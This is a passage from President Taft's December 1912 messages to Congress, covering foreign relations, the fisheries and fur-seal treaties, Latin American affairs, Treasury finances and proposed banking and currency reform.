bill which was recommended by the Secretary of\nState in his letter of December 13, 1911. The object of the proposed\nlegislation is, in brief, to enable the Executive to apply, as the case may\nrequire, to any or all commodities, whether or not on the free list from a\ncountry which discriminates against the United States, a graduated scale of\nduties up to the maximum Of 25 per cent ad valorem provided in the present\nlaw. Flat tariffs are out of date. Nations no longer accord equal tariff\ntreatment to all other nations irrespective of the treatment from them\nreceived. Such a flexible power at the command of the Executive would\nserve to moderate any unfavorable tendencies on the part of those countries\nfrom which the importations into the United States are substantially\nconfined to articles on the free list as well as of the countries which\nfind a lucrative market in the United States for their products under\nexisting customs rates. It is very necessary that the American Government\nshould be equipped with weapons of negotiation adapted to modern economic\nconditions, in order that we may at all times be in a position to gain not\nonly technically just but actually equitable treatment for our trade, and\nalso for American enterprise and vested interests abroad.BUSINESS SECURED TO OUR COUNTRY BY DIRECT OFFICIAL EFFORTAs illustrating the commercial benefits of the Nation derived from the new\ndiplomacy and its effectiveness upon the material as well as the more ideal\nside, it may be remarked that through direct official efforts alone there\nhave been obtained in the course of this administration, contracts from\nforeign Governments involving an expenditure of $50,000,000 in the\nfactories of the United States. Consideration of this fact and some\nreflection upon the necessary effects of a scientific tariff system and a\nforeign service alert and equipped to cooperate with the business men of\nAmerica carry the conviction that the gratifying increase in the export\ntrade of this country is, in substantial amount, due to our improved\ngovernmental methods of protecting and stimulating it. It is germane to\nthese observations to remark that in the two years that have elapsed since\nthe successful negotiation of our new treaty with Japan, which at the time\nseemed to present so many practical difficulties, our export trade to that\ncountry has increased at the rate of over $1,000,000 a month. Our exports\nto Japan for the year ended June 30, 1910, were $21,959,310, while for the\nyear ended June 30, 1912, the exports were $53,478,046, a net increase in\nthe sale of American products of nearly 150 per cent.SPECIAL CLAIMS ARBITRATION WITH GREAT BRITAINUnder the special agreement entered into between the United States and\nGreat Britain on August 18, 1910, for the arbitration of outstanding\npecuniary claims, a schedule of claims and the terms of submission have\nbeen agreed upon by the two Governments, and together with the special\nagreement were approved by the Senate on July 19, 1911, but in accordance\nwith the terms of the agreement they did not go into effect until confirmed\nby the two Governments by an exchange of notes, which was done on April 26\nlast. Negotiations, are still in progress for a supplemental schedule of\nclaims to be submitted to arbitration under this agreement, and meanwhile\nthe necessary preparations for the arbitration of the claims included in\nthe first schedule have been undertaken and are being carried on under the\nauthority of an appropriation made for that purpose at the last session of\nCongress. It is anticipated that the two Governments will be prepared to\ncall upon the arbitration tribunal, established under this agreement, to\nmeet at Washington early next year to proceed with this arbitration.FUR SEAL TREATY AND NEED FOR AMENDMENT OF OUR STATUTEThe act adopted at the last session of Congress to give effect to the\nfur-seal convention Of July 7, 1911, between Great Britain, Japan, Russia,\nand the United States provided for the suspension of all land killing of\nseals on the Pribilof Islands for a period of five years, and an objection\nhas now been presented to this provision by the other parties in interest,\nwhich raises the issue as to whether or not this prohibition of land\nkilling is inconsistent with the spirit, if not the letter, of the treaty\nstipulations. The justification of establishing this close season depends,\nunder the terms of the convention, upon how far, if at all, it is necessary\nfor protecting and preserving the American fur-seal herd and for increasing\nits number. This is a question requiring examination of the present\ncondition of the herd and the treatment which it needs in the light of\nactual experience and scientific investigation. A careful examination of\nthe subject is now being made, and this Government will soon be in\npossession of a considerable amount of new information about the American\nseal herd, which has been secured during the past season and will be of\ngreat value in determining this question; and if it should appear that\nthere is any uncertainty as to the real necessity for imposing a close\nseason at this time I shall take an early opportunity to address a special\nmessage to Congress on this subject, in the belief that this Government\nshould yield on this point rather than give the slightest ground for the\ncharge that we have been in any way remiss in observing our treaty\nobligations.FINAL SETTLEMENT OF NORTH ATLANTIC FISHERIES DISPUTEOn the 20th of July last an agreement was concluded between the United\nStates and Great Britain adopting, with certain modifications, the rules\nand method of procedure recommended in the award rendered by the North\nAtlantic Coast Fisheries Arbitration Tribunal on September 7, 1910, for the\nsettlement hereafter, in accordance with the principles laid down in the\naward, of questions arising with reference to the exercise of the American\nfishing liberties under Article I of the treaty of October 20, 1818,\nbetween the United States and Great Britain. This agreement received the\napproval of the Senate on August I and was formally ratified by the two\nGovernments on November 15 last. The rules and a method of procedure\nembodied in the award provided for determining by an impartial tribunal the\nreasonableness of any new fishery regulations on the treaty coasts of\nNewfoundland and Canada before such regulations could be enforced against\nAmerican fishermen exercising their treaty liberties on those coasts, and\nalso for determining the delimitation of bays on such coasts more than 10\nmiles wide, in accordance with the definition adopted by the tribunal of\nthe meaning of the word \"bays\" as used in the treaty. In the subsequent\nnegotiations between the two Governments, undertaken for the purpose of\ngiving practical effect to these rules and methods of procedure, it was\nfound that certain modifications therein were desirable from the point of\nview of both Governments, and these negotiations have finally resulted in\nthe agreement above mentioned by which the award recommendations as\nmodified by mutual consent of the two Governments are finally adopted and\nmade effective, thus bringing this century-old controversy to a final\nconclusion, which is equally beneficial and satisfactory to both\nGovernments.IMPERIAL VALLEY AND MEXICOIn order to make possible the more effective performance of the work\nnecessary for the confinement in their present channel of the waters of the\nlower Colorado River, and thus to protect the people of the Imperial\nValley, as well as in order to reach with the Government of Mexico an\nunderstanding regarding the distribution of the waters of the Colorado\nRiver, in which both Governments are much interested, negotiations are\ngoing forward with a view to the establishment of a preliminary Colorado\nRiver commission, which shall have the powers necessary to enable it to do\nthe needful work and with authority to study the question of the equitable\ndistribution of the waters. There is every reason to believe that an\nunderstanding upon this point will be reached and that an agreement will be\nsigned in the near future.CHAMIZAL DISPUTEIn the interest of the people and city of El Paso this Government has been\nassiduous in its efforts to bring to an early settlement the long-standing\nChamizal dispute with Mexico. Much has been accomplished, and while the\nfinal solution of the dispute is not immediate, the favorable attitude\nlately assumed by the Mexican Government encourages the hope that this\ntroublesome question will be satisfactorily and definitively settled at an\nearly day.INTERNATIONAL COMMISSION OF JURISTSIn pursuance of the convention of August 23, 1906, signed at the Third Pan\nAmerican Conference, held at Rio de Janeiro, the International Commission\nof jurists met at that capital during the month of last June. At this\nmeeting 16 American Republics were represented, including the United\nStates, and comprehensive plans for the future work of the commission were\nadopted. At the next meeting fixed for June, 1914, committees already\nappointed are instructed to I report regarding topics assigned to them.OPIUM CONFERENCE-UNFORTUNATE FAILURE OF OUR GOVERNMENT TO ENACT RECOMMENDED\nLEGISLATIONIn my message on foreign relations communicated to the two Houses of\nCongress December 7, 1911, I called especial attention to the assembling of\nthe Opium Conference at The Hague, to the fact that that conference was to\nreview all pertinent municipal laws relating to the opium and allied evils,\nand certainly all international rules regarding these evils, and to the\n-fact that it seemed to me most essential that the Congress should take\nimmediate action on the anti-narcotic legislation before the Congress, to\nwhich I had previously called attention by a special message.The international convention adopted by the conference conforms almost\nentirely to the principles contained in the proposed anti-narcotic\nlegislation which has been before the last two Congresses. It was most\nunfortunate that this Government, having taken the initiative in the\ninternational action which eventuated in the important international opium\nconvention, failed to do its share in the great work by neglecting to pass\nthe necessary legislation to correct the deplorable narcotic evils in the\nUnited States as well as to redeem international pledges upon which it\nentered by virtue of the above-mentioned convention. The Congress at its\npresent session should enact into law those bills now before it which have\nbeen so carefully drawn up in collaboration between the Department of State\nand the other executive departments, and which have behind them not only\nthe moral sentiment of the country, but the practical support of all the\nlegitimate trade interests likely to be affected. Since the international\nconvention was signed, adherence to it has been made by several European\nStates not represented at the conference at The Hague and also by seventeen\nLatin-American Republics.EUROPE AND THE NEAR EASTThe war between Italy and Turkey came to a close in October last by the\nsignature of a treaty of peace, subsequently to which the Ottoman Empire\nrenounced sovereignty over Cyrenaica and Tripolitania in favor of Italy.\nDuring the past year the Near East has unfortunately been the theater of\nconstant hostilities. Almost simultaneously with the conclusion of peace\nbetween Italy and Turkey and their arrival at an adjustment of the complex\nquestions at issue between them, war broke out between Turkey on the one\nhand and Bulgaria, Greece, Montenegro, and Servia on the other. The United\nStates has happily been involved neither directly nor indirectly with the\ncauses or questions incident to any of these hostilities and has maintained\nin regard to them an attitude of absolute neutrality and of complete\npolitical disinterestedness. In the second war in which the Ottoman Empire\nhas been engaged the loss of life and the consequent distress on both sides\nhave been appalling, and the United States has found occasion, in the\ninterest of humanity, to carry out the charitable desires of the American\npeople, to extend a measure of relief to the sufferers on either side\nthrough the impartial medium of the Red Cross. Beyond this the chief care\nof the Government of the United States has been to make due provision for\nthe protection of its national resident in belligerent territory. In the\nexercise of my duty in this matter I have dispatched to Turkish waters a\nspecial-service squadron, consisting of two armored cruisers, in order that\nthis Government may if need be bear its part in such measures as it may be\nnecessary for the interested nations to adopt for the safeguarding of\nforeign lives and property in the Ottoman Empire in the event that a\ndangerous situation should develop. In the meanwhile the several interested\nEuropean powers have promised to extend to American citizens the benefit of\nsuch precautionary or protective measures as they might adopt, in the same\nmanner in which it has been the practice of this Government to extend its\nprotection to all foreign residents in those countries of the Western\nHemisphere in which it has from time to time been the task of the United\nStates to act in the interest of peace and good order. The early appearance\nof a large fleet of European warships in the Bosphorus apparently assured\nthe protection of foreigners in that quarter, where the presence of the\nAmerican stationnaire the U. S. S. Scorpion sufficed, tinder the\ncircumstances, to represent the United States. Our cruisers were thus left\nfree to act if need be along the Mediterranean coasts should any unexpected\ncontingency arise affecting the numerous American interests in the\nneighborhood of Smyrna and Beirut.SPITZBERGENThe great preponderance of American material interests in the sub-arctic\nisland of Spitzbergen, which has always been regarded politically as \"no\nman's land,\" impels this Government to a continued and lively interest in\nthe international dispositions to be made for the political governance and\nadministration of that region. The conflict of certain claims of American\ncitizens and others is in a fair way to adjustment, while the settlement of\nmatters of administration, whether by international conference of the\ninterested powers or otherwise, continues to be the subject of exchange of\nviews between the Governments concerned.LIBERIAAs a result of the efforts of this Government to place the Government of\nLiberia in position to pay its outstanding indebtedness and to maintain a\nstable and efficient government, negotiations for a loan of $1,700,000 have\nbeen successfully concluded, and it is anticipated that the payment of the\nold loan and the issuance of the bonds of the 1912 loan for the\nrehabilitation of the finances of Liberia will follow at an early date,\nwhen the new receivership will go into active operation. The new\nreceivership will consist of a general receiver of customs designated by\nthe Government of the United States and three receivers of customs\ndesignated by the Governments of Germany, France, and Great Britain, which\ncountries have commercial interests in the Republic of Liberia.In carrying out the understanding between the Government of Liberia and\nthat of the United States, and in fulfilling the terms of the agreement\nbetween the former Government and the American bankers, three competent\nex-army officers are now effectively employed by the Liberian Government in\nreorganizing the police force of the Republic, not only to keep in order\nthe native tribes in the hinterland but to serve as a necessary police\nforce along the frontier. It is hoped that these measures will assure not\nonly the continued existence but the prosperity and welfare of the Republic\nof Liberia. Liberia possesses fertility of soil and natural resources,\nwhich should insure to its people a reasonable prosperity. It was the duty\nof the United States to assist the Republic of Liberia in accordance with\nour historical interest and moral guardianship of a community founded by\nAmerican citizens, as it was also the duty of the American Government to\nattempt to assure permanence to a country of much sentimental and perhaps\nfuture real interest to a large body of our citizens.MOROCCOThe legation at Tangier is now in charge of our consul general, who is\nacting as charge d'affaires, as well as caring for our commercial interests\nin that country. In view of the fact that many of the foreign powers are\nnow represented by charges d'affaires it has not been deemed necessary to\nappoint at the present time a minister to fill a vacancy occurring in that\npost.THE FAR EASTThe political disturbances in China in the autumn and winter of 1911-12\nresulted in the abdication of the Manchu rulers on February 12, followed by\nthe formation of a provisional republican government empowered to conduct\nthe affairs of the nation until a permanent government might be regularly\nestablished. The natural sympathy of the American people with the\nassumption of republican principles by the Chinese people was appropriately\nexpressed in a concurrent resolution of Congress on April 17, 1912. A\nconstituent assembly, composed of representatives duly chosen by the people\nof China in the elections that are now being held, has been called to meet\nin January next to adopt a permanent constitution and organize the\nGovernment of the nascent Republic. During the formative constitutional\nstage and pending definite action by the assembly, as expressive of the\npopular will, and the hoped-for establishment of a stable republican form\nof government, capable of fulfilling its international obligations, the\nUnited States is, according to precedent, maintaining full and friendly de\nfacto relations with the provisional Government.The new condition of affairs thus created has presented many serious and\ncomplicated problems, both of internal rehabilitation and of international\nrelations, whose solution it was realized would necessarily require much\ntime and patience. From the beginning of the upheaval last autumn it was\nfelt by the United States, in common with the other powers having large\ninterests in China, that independent action by the foreign Governments in\ntheir own individual interests would add further confusion to a situation\nalready complicated. A policy of international cooperation was accordingly\nadopted in an understanding, reached early in the disturbances, to act\ntogether for the protection of the lives and property of foreigners if\nmenaced, to maintain an attitude of strict impartiality as between the\ncontending factions, and to abstain from any endeavor to influence the\nChinese in their organization of a new form of government. In view of the\nseriousness of the disturbances and their general character, the American\nminister at Peking was instructed at his discretion to advise our nationals\nin the affected districts to concentrate at such centers as were easily\naccessible to foreign troops or men of war. Nineteen of our naval vessels\nwere stationed at various Chinese ports, and other measures were promptly\ntaken for the adequate protection of American interests.It was further mutually agreed, in the hope of hastening an end to\nhostilities, that none of the interested powers would approve the making of\nloans by its nationals to either side. As soon, however, as a united\nprovisional Government of China was assured, the United States joined in a\nfavorable consideration of that Government's request for advances needed\nfor immediate administrative necessities and later for a loan to effect a\npermanent national reorganization. The interested Governments had already,\nby common consent, adopted, in respect to the purposes, expenditure, and\nsecurity of any loans to China made by their nationals, certain conditions\nwhich were held to be essential, not only to secure reasonable protection\nfor the foreign investors, but also to safeguard and strengthen China's\ncredit by discouraging indiscriminate borrowing and by insuring the\napplication of the funds toward the establishment of the stable and\neffective government necessary to China's welfare. In June last\nrepresentative banking groups of the United States, France, Germany, Great\nBritain, Japan, and Russia formulated, with the general sanction of their\nrespective Governments, the guaranties that would be expected in relation\nto the expenditure and security of the large reorganization loan desired by\nChina, which, however, have thus far proved unacceptable to the provisional\nGovernment.SPECIAL MISSION OF CONDOLENCE TO JAPANIn August last I accredited the Secretary of State as special ambassador to\nJapan, charged with the mission of bearing to the imperial family, the\nGovernment, and the people of that Empire the sympathetic message of the\nAmerican Commonwealth oil the sad occasion of the death of His Majesty the\nEmperor Mutsuhito, whose long and benevolent reign was the greater part of\nJapan's modern history. The kindly reception everywhere accorded to\nSecretary Knox showed that his mission was deeply appreciated by the\nJapanese nation and emphasized strongly the friendly relations that have\nfor so many years existed between the two peoples.SOUTH AMERICAOur relations with the Argentine Republic are most friendly and cordial.\nSo, also, are our relations with Brazil, whose Government has accepted the\ninvitation of the United States to send two army officers to study at the\nCoast Artillery School at Fort Monroe. The long-standing Alsop claim, which\nhad been the only hindrance to the healthy growth of the most friendly\nrelations between the United States and Chile, having been eliminated\nthrough the submission of the question to His Britannic Majesty King George\nV as \"amiable compositeur,\" it is a cause of much gratification to me that\nour relations with Chile are now established upon a firm basis of growing\nfriendship. The Chilean Government has placed an officer of the United\nStates Coast Artillery in charge of the Chilean Coast Artillery School, and\nhas shown appreciation of American methods by confiding to an American firm\nimportant work for the Chilean coast defenses.Last year a revolution against the established Government of Ecuador broke\nout at the principal port of that Republic. Previous to this occurrence the\nchief American interest in Ecuador, represented by the Guayaquil & Quito\nRailway Co., incorporated in the United States, had rendered extensive\ntransportation and other services on account to the Ecuadorian Government,\nthe amount of which ran into a sum which was steadily increasing and which\nthe Ecuadorian Government had made no provision to pay, thereby threatening\nto crush out the very existence of this American enterprise. When\ntranquillity had been restored to Ecuador as a result of the triumphant\nprogress of the Government forces from Quito, this Government interposed\nits good offices to the end that the American interests in Ecuador might be\nsaved from complete extinction. As a part of the arrangement which was\nreached between the parties, and at the request of the Government of\nEcuador, I have consented to name an arbitrator, who, acting under the\nterms of the railroad contract, with an arbitrator named by the Ecuadorian\nGovernment, will pass upon the claims that have arisen since the\narrangement reached through the action of a similar arbitral tribunal in\n1908.In pursuance of a request made some time ago by the Ecuadorian Government,\nthe Department of State has given much attention to the problem of the\nproper sanitation of Guayaquil. As a result a detail of officers of the\nCanal Zone will be sent to Guayaquil to recommend measures that will lead\nto the complete permanent sanitation of this plague and fever infected\nregion of that Republic, which has for so long constituted a menace to\nhealth conditions on the Canal Zone. It is hoped that the report which this\nmission will furnish will point out a way whereby the modicum of assistance\nwhich the United States may properly lend the Ecuadorian Government may be\nmade effective in ridding the west coast of South America of a focus of\ncontagion to the future commercial current passing through the Panama\nCanal.In the matter of the claim of John Celestine Landreau against the\nGovernment of Peru, which claim arises out of certain contracts and\ntransactions in connection with the discovery and exploitation of guano,\nand which has been under discussion between the two Governments since 1874,\nI am glad to report that as the result of prolonged negotiations, which\nhave been characterized by the utmost friendliness and good will on both\nsides, the Department of State has succeeded in securing the consent of\nPeru to the arbitration of the claim, and that the negotiations attending\nthe drafting and signature of a protocol submitting the claim to an\narbitral tribunal are proceeding with due celerity.An officer of the American Public Health Service and an American sanitary\nengineer are now on the way to Iquitos, in the employ of the Peruvian\nGovernment, to take charge of the sanitation of that river port. Peru is\nbuilding a number of submarines in this country, and continues to show\nevery desire to have American capital invested in the Republic.In July the United States sent undergraduate delegates to the Third\nInternational Students Congress held at Lima, American students having been\nfor the first time invited to one of these meetings.The Republic of Uruguay has shown its appreciation of American agricultural\nand other methods by sending a large commission to this country and by\nemploying many American experts to assist in building up agricultural and\nallied industries in Uruguay.Venezuela is paying off the last of the claims the settlement of which was\nprovided for by the Washington protocols, including those of American\ncitizens. Our relations with Venezuela are most cordial, and the trade of\nthat Republic with the United States is now greater than with any other\ncountry.CENTRAL AMERICA AND THE CARIBBEANDuring the past summer the revolution against the administration which\nfollowed the assassination of President Caceres a year ago last November\nbrought the Dominican Republic to the verge of administrative chaos,\nwithout offering any guaranties of eventual stability in the ultimate\nsuccess of either party. In pursuance of the treaty relations of the United\nStates with the Dominican Republic, which were threatened by the necessity\nof suspending the operation under American administration of the\ncustomhouses on the Haitian frontier, it was found necessary to dispatch\nspecial commissioners to the island to reestablish the customhouses and\nwith a guard sufficient to insure needed protection to the customs\nadministration. The efforts which have been made appear to have resulted in\nthe restoration of normal conditions throughout the Republic. The good\noffices which the commissioners were able to exercise were instrumental in\nbringing the contending parties together and in furnishing a basis of\nadjustment which it is hoped will result in permanent benefit to the\nDominican people.Mindful of its treaty relations, and owing to the position of the\nGovernment of the United States as mediator between the Dominican Republic\nand Haiti in their boundary dispute, and because of the further fact that\nthe revolutionary activities on the Haitian-Dominican frontier had become\nso active as practically to obliterate the line of demarcation that had\nbeen heretofore recognized pending the definitive settlement of the\nboundary in controversy, it was found necessary to indicate to the two\nisland Governments a provisional de facto boundary line. This was done\nwithout prejudice to the rights or obligations of either country in a final\nsettlement to be reached by arbitration. The tentative line chosen was one\nwhich, under the circumstances brought to the knowledge of this Government,\nseemed to conform to the best interests of the disputants. The border\npatrol which it had been found necessary to reestablish for customs\npurposes between the two countries was instructed provisionally to observe\nthis line.The Republic of Cuba last May was in the throes of a lawless uprising that\nfor a time threatened the destruction of a great deal of valuable\nproperty-much of it owned by Americans and other foreigners-as well as the\nexistence of the Government itself. The armed forces of Cuba being\ninadequate to guard property from attack and at the same time properly to\noperate against the rebels, a force of American marines was dispatched from\nour naval station at Guantanamo into the Province of Oriente for the\nprotection of American and other foreign life and property. The Cuban\nGovernment was thus able to use all its forces in putting down the\noutbreak, which it succeeded in doing in a period of six weeks. The\npresence of two American warships in the harbor of Habana during the most\ncritical period of this disturbance contributed in great measure to allay\nthe fears of the inhabitants, including a large foreign colony.There has been under discussion with the Government of Cuba for some time\nthe question of the release by this Government of its leasehold rights at\nBahia Honda, on the northern coast of Cuba, and the enlargement, in\nexchange therefor, of the naval station which has been established at\nGuantanamo Bay, on the south. As the result of the negotiations thus\ncarried on an agreement has been reached between the two Governments\nproviding for the suitable enlargement of the Guantanamo Bay station upon\nterms which are entirely fair and equitable to all parties concerned.At the request alike of the Government and both political parties in\nPanama, an American commission undertook supervision of the recent\npresidential election in that Republic, where our treaty relations, and,\nindeed, every geographical consideration, make the maintenance of order and\nsatisfactory conditions of peculiar interest to the Government of the\nUnited States. The elections passed without disorder, and the new\nadministration has entered upon its functions.The Government of Great Britain has asked the support of the United States\nfor the protection of the interests of British holders of the foreign\nbonded debt of Guatemala. While this Government is hopeful of an\narrangement equitable to the British bondholders, it is naturally unable to\nview the question apart from its relation to the broad subject of financial\nstability in Central America, in which the policy of the United States does\nnot permit it to escape a vital interest. Through a renewal of negotiations\nbetween the Government of Guatemala and American bankers, the aim of which\nis a loan for the rehabilitation of Guatemalan finances, a way appears to\nbe open by which the Government of Guatemala could promptly satisfy any\nequitable and just British claims, and at the same time so improve its\nwhole financial position as to contribute greatly to the increased\nprosperity of the Republic and to redound to the benefit of foreign\ninvestments and foreign trade with that country. Failing such an\narrangement, it may become impossible for the Government of the United\nStates to escape its obligations in connection with such measures as may\nbecome necessary to exact justice to legitimate foreign claims.In the recent revolution in Nicaragua, which, it was generally admitted,\nmight well have resulted in a general Central American conflict but for the\nintervention of the United States, the Government of Honduras was\nespecially menaced; but fortunately peaceful conditions were maintained\nwithin the borders of that Republic. The financial condition of that\ncountry remains unchanged, no means having been found for the final\nadjustment of pressing outstanding foreign claims. This makes it the more\nregrettable that the financial convention between the United States and\nHonduras has thus far failed of ratification. The Government of the United\nStates continues to hold itself ready to cooperate with the Government of\nHonduras, which it is believed, can not much longer delay the meeting of\nits foreign obligations, and it is hoped at the proper time American\nbankers will be willing to cooperate for this purpose.NECESSITY FOR GREATER GOVERNMENTAL EFFORT IN RETENTION AND EXPANSION OF OUR\nFOREIGN TRADEIt is not possible to make to the Congress a communication upon the present\nforeign relations of the United States so detailed as to convey an adequate\nimpression of the enormous increase in the importance and activities of\nthose relations. If this Government is really to preserve to the American\npeople that free opportunity in foreign markets which will soon be\nindispensable to our prosperity, even greater efforts must be made.\nOtherwise the American merchant, manufacturer, and exporter will find many\na field in which American trade should logically predominate preempted\nthrough the more energetic efforts of other governments and other\ncommercial nations.There are many ways in which through hearty cooperation the legislative and\nexecutive branches of this Government can do much. The absolute essential\nis the spirit of united effort and singleness of purpose. I will allude\nonly to a very few specific examples of action which ought then to result.\nAmerica can not take its proper place in the most important fields for its\ncommercial activity and enterprise unless we have a merchant marine.\nAmerican commerce and enterprise can not be effectively fostered in those\nfields unless we have good American banks in the countries referred to. We\nneed American newspapers in those countries and proper means for public\ninformation about them. We need to assure the permanency of a trained\nforeign service. We need legislation enabling the members of the foreign\nservice to be systematically brought in direct contact with the industrial,\nmanufacturing, and exporting interests of this country in order that\nAmerican business men may enter the foreign field with a clear perception\nof the exact conditions to be dealt with and the officers themselves may\nprosecute their work with a clear idea of what American industrial and\nmanufacturing interests require.CONCLUSIONCongress should fully realize the conditions which obtain in the world as\nwe find ourselves at the threshold of our middle age as a Nation. We have\nemerged full grown as a peer in the great concourse of nations. We have\npassed through various formative periods. We have been self-centered in the\nstruggle to develop our domestic resources and deal with our domestic\nquestions. The Nation is now too matured to continue in its foreign\nrelations those temporary expedients natural to a people to whom domestic\naffairs are the sole concern. In the past our diplomacy has often\nconsisted, in normal times, in a mere assertion of the right to\ninternational existence. We are now in a larger relation with broader\nrights of our own and obligations to others than ourselves. A number of\ngreat guiding principles were laid down early in the history of this\nGovernment. The recent task of our diplomacy has been to adjust those\nprinciples to the conditions of to-day, to develop their corollaries, to\nfind practical applications of the old principles expanded to meet new\nsituations. Thus are being evolved bases upon which can rest the\nsuperstructure of policies which must grow with the destined progress of\nthis Nation. The successful conduct of our foreign relations demands a\nbroad and a modern view. We can not meet new questions nor build for the\nfuture if we confine ourselves to outworn dogmas of the past and to the\nperspective appropriate at our emergence from colonial times and\nconditions. The opening of the Panama Canal will mark a new era in our\ninternational life and create new and worldwide conditions which, with\ntheir vast correlations and consequences, will obtain for hundreds of years\nto come. We must not wait for events to overtake us unawares. With\ncontinuity of purpose we must deal with the problems of our external\nrelations by a diplomacy modern, resourceful, magnanimous, and fittingly\nexpressive of the high ideals of a great nation.PART II.\n[On Fiscal, judicial, Military and Insular Affairs.] \nTHE WHITE HOUSE, December 6, 1912. To the Senate and House of Representatives:On the 3d of December I sent a message to the Congress, which was confined\nto our foreign relations. The Secretary of State makes no report to the\nPresident or to Congress, and a review of the history of the transactions\nof the State Department in one year must therefore be included by the\nPresident in his annual message or Congress will not be fully informed of\nthem. A full discussion of all the transactions of the Government, with a\nview to informing the Congress of the important events of the year and\nrecommending new legislation, requires more space than one message of\nreasonable length affords. I have therefore adopted the course of sending\nthree or four messages during the first ten days of the session, so as to\ninclude reference to the more important matters that should be brought to\nthe attention of the Congress.BUSINESS CONDITIONSThe condition of the country with reference to business could hardly be\nbetter. While the four years of the administration now drawing to a close\nhave not developed great speculative expansion or a wide field of new\ninvestment, the recovery and progress made from the depressing conditions\nfollowing the panic of 1907 have been steady and the improvement has been\nclear and easily traced in the statistics. The business of the country is\nnow on a solid basis. Credits are not unduly extended, and every phase of\nthe situation seems in a state of preparedness for a period of unexampled\nprosperity. Manufacturing concerns are running at their full capacity and\nthe demand for labor was never so constant and growing. The foreign trade\nof the country for this year will exceed $4,000,000,000, while the balance\nin our favor-that of the excess of exports over imports-will exceed\n$500,000,000. More than half our exports are manufactures or partly\nmanufactured material, while our exports of farm products do not show the\nsame increase because of domestic consumption. It is a year of bumper\ncrops; the total money value of farm products will exceed $9,500,000,000.\nIt is a year when the bushel or unit price of agricultural products has\ngradually fallen, and yet the total value of the entire crop is greater by\nover $1,000,000,000 than we have known in our history.CONDITION OF THE TREASURYThe condition of the Treasury is very satisfactory. The total\ninterest-bearing debt is $963,777,770, of which $134,631,980 constitute the\nPanama Canal loan. The noninterest-bearing debt is $378,301,284.90,\nincluding $346,681,016 of greenbacks. We have in the Treasury $150,000,000\nin gold coin as a reserve against the outstanding greenbacks; and in\naddition we have a cash balance in the Treasury as a general fund of\n$167,152,478.99, or an increase of $26,975,552 over the general fund last\nyear.RECEIPTS AND EXPENDITURESFor three years the expenditures of the Government have decreased under the\ninfluence of an effort to economize. This year presents an apparent\nexception. The estimate by the Secretary of the Treasury of the ordinary\nreceipts, exclusive of postal revenues, for the year ending June 30, 1914,\nindicates that they will amount to $710,000,000. The sum of the estimates\nof the expenditures for that same year, exclusive of Panama Canal\ndisbursements and postal disbursements payable from postal revenues, is\n$732,000,000, indicating a deficit Of $22,000,000. For the year ending June\n30, 1913, similarly estimated receipts were $667,000,000, while the total\ncorresponding estimate of expenditures for that year, submitted through the\nSecretary of the Treasury to Congress, amounted to $656,000,000. This shows\nan increase of $76,000,000 in the estimates for 1914 over the total\nestimates of 1913. This is due to an increase Of $25,000,000 in the\nestimate for rivers and harbors for the next year on projects and surveys\nauthorized by Congress; to an increase under the new pension bill Of\n$32,500,000; and to an increase in the estimates for expenses of the Navy\nDepartment Of $24,000,000. The estimate for the Navy Department for the\nyear 1913 included two battleships. Congress made provision for only one\nbattleship, and therefore the Navy Department has deemed it necessary and\nproper to make an estimate which includes the first year's expenditure for\nthree battleships in addition to the amount required for work on the\nuncompleted ships now under construction. In addition to the natural\nincrease in the expenditures for the uncompleted ships, and the additional\nbattleship estimated for, the other increases are due to the pay\nrequired for 4,000 or more additional enlisted men in the Navy; and to this\nmust be added the additional cost of construction imposed by the change in\nthe eight-hour law which makes it applicable to ships built in private\nshipyards.With the exceptions of these three items, the estimates show a reduction\nthis year below the total estimates for 1913 of more than $5,000,000.The estimates for Panama Canal construction for 1914 are $17,000,000 less\nthan for 1913.OUR BANKING AND CURRENCY SYSTEMA time when panics seem far removed is the best time for us to prepare our\nfinancial system to withstand a storm. The most crying need this country\nhas is a proper banking and currency system. The existing one is\ninadequate, and everyone who has studied the question admits it.It is the business of the National Government to provide a medium,\nautomatically contracting and expanding in volume, to meet the needs of\ntrade. Our present system lacks the indispensable quality of elasticity.The only part of our monetary medium that has elasticity is the bank-note\ncurrency. The peculiar provisions of the law requiring national banks to\nmaintain reserves to meet the call of the depositors operates to increase\nthe money stringency when it arises rather than to expand the supply of\ncurrency and relieve it. It operates upon each bank and furnishes a motive\nfor the withdrawal of currency from the channels of trade by each bank to\nsave itself, and offers no inducement whatever for the use of the reserve\nto expand the supply of currency to meet the exceptional demand.After the panic of 1907 Congress realized that the present system was not\nadapted to the country's needs and that under it panics were possible that\nmight properly be avoided by legislative provision. Accordingly a monetary\ncommission was appointed which made a report in February, 1912. The system\nwhich they recommended involved a National Reserve Association, which was,\nin certain of its faculties and functions, a bank, and which was given\nthrough its governing authorities the power, by issuing circulating notes\nfor approved commercial paper, by fixing discounts, and by other methods of\ntransfer of currency, to expand the supply of the monetary medium where it\nwas most needed to prevent the export or hoarding of gold and generally to\nexercise such supervision over the supply of money in every part of the\ncountry as to prevent a stringency and a panic. The stock in this\nassociation was to be distributed to the banks of the whole United States,\nState and National, in a mixed proportion to bank units and to capital\nstock paid in. The control of the association was vested in a board of\ndirectors to be elected by representatives of the banks, except certain\nex-officio directors, three Cabinet officers, and the Comptroller of the\nCurrency. The President was to appoint the governor of the association from\nthree persons to be selected by the directors, while the two deputy\ngovernors were to be elected by the board of directors. The details of the\nplan were worked out with great care and ability, and the plan in general\nseems to me to furnish the basis for a proper solution of our present\ndifficulties. I feel that the Government might very properly be given a\ngreater voice in the executive committee of the board of directors without\ndanger of injecting politics into its management, but I think the\nfederation system of banks is a good one, provided proper precautions are\ntaken to prevent banks of large capital from absorbing power through\nownership of stock in other banks. The objections to a central bank it\nseems to me are obviated if the ownership of the reserve association is\ndistributed among all the banks of a country in which banking is free. The\nearnings of the reserve association are limited in percentage tit a\nreasonable and fixed amount, and the profits over and above this are to be\nturned into the Government Treasury. It is quite probable that still\ngreater security against control by money centers may be worked into the\nplan.Certain it is, however, that the objections which were made in the past\nhistory of this country to a central bank as furnishing a monopoly of\nfinancial power to private individuals, would not apply to an association\nwhose ownership and control is so widely distributed and is divided between\nall the banks of the country, State and National, on the one hand, and the\nChief Executive through three department heads and his Comptroller of the\nCurrency, on the other. The ancient hostility to a national bank, with its\nbranches, in which is concentrated the privilege of doing a banking\nbusiness and carrying on the financial transactions of the Government, has\nprevented the establishment of such a bank since it was abolished in the\nJackson Administration. Our present national banking law has obviated\nobjections growing out of the same cause by providing a free banking system\nin which any set of stockholders can establish a national bank if they\ncomply with the conditions of law. It seems to me that the National Reserve\nAssociation meets the same objection in a similar way; that is, by giving\nto each bank, State and National, in accordance with its size, a certain\nshare in the 